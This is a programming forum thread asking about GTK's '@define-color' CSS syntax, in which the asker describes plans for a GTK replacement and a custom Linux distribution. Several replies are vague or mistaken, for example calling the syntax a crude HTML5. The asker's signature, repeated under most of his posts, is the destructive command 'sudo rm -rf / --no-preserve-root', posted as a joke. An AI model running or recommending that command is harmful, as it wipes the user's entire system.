HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
What does something like:
@define-color [name] [hex-value] actually do?
Is it a typedef-like variable? If so, how do I use it?
What is this, and how do I use it?
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
|
um what?
that is not a standard HTML, CSS, or backend language I know
|
|
|
That looks like a crude version of HTML5.
"@define-color [name] [hex-value]"
Is probably defining a library then setting a name to a color;
exampple: @define-color Black 0 0 0
|
|
|
That doesn't look like a crude version of HTML.
It looks like maybe an odd pre-processor, why you want to to use it I don't know, as HTML5 is pretty good standard. I use sass for css, as css3 can use some pre-processing
|
|
HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
mm, okay
I'm working on writing a replacement for GTK, and want to have some compatibility with GTK themes.
I'm trying to figure out what in the world is going on with their version of CSS, and I'm not much of a web developer to know CSS in the first place particularly well: I mean, I can get around with the standard stuff that's fairly obvious, but past that, not happening.
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
VlitudeJoin Date: 2015-12-15 Post Count: 1038 |
What language is this? |
|
|
GTK uses standard CSS >I think
The hard part comes in the other code, when calling that CSS.
I don't know a thing about GTK so I may be wrong.
|
|
|
yea it does. It just has its own stylizing for CSS. >For example background: ######### is not going to work. It is using the syntax of css, not the web side of css. You would have to find the documentation and memorize it all |
|
HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
kk, ty
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
mm
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
VlitudeJoin Date: 2015-12-15 Post Count: 1038 |
Honestly it would be easier to use HTML, or even PHP |
|
HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
Can't do that for widget tool theming, those are all for very specific web technologies and all. I'm trying to copy GTK as much as I can with my own project, in order to make it fairly easy to bring things over and port programs to it. It's part of my project to have a completely custom Linux disto, where the only thing that isn't mine is the Linux kernel itself, the kernel's modules, and Xorg (for compatibility) (and PulseAudio and all that stuff, but I'll count those as just kernel extensions). Everything else is 100% my own. desktop greeter, window manager, web browser, file manager, text editor, desktop shell/environment, terminal stuff, package manager, image editing tool, audio tool, 3d modelling tool, etc. etc. All mine. (So Ubuntu philosophy on ######### $ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
./
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
VlitudeJoin Date: 2015-12-15 Post Count: 1038 |
Oh I see |
|
HarbyngerJoin Date: 2008-07-06 Post Count: 34677 |
I might just extend the language with other feature I'd need, or something, and ditch calling it 'CSS' entirely.
But I don't know, would it be interesting to have your window title bars on the side or bottom of your windows? lol, i might just add that feature because why not
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |
|
VlitudeJoin Date: 2015-12-15 Post Count: 1038 |
|
|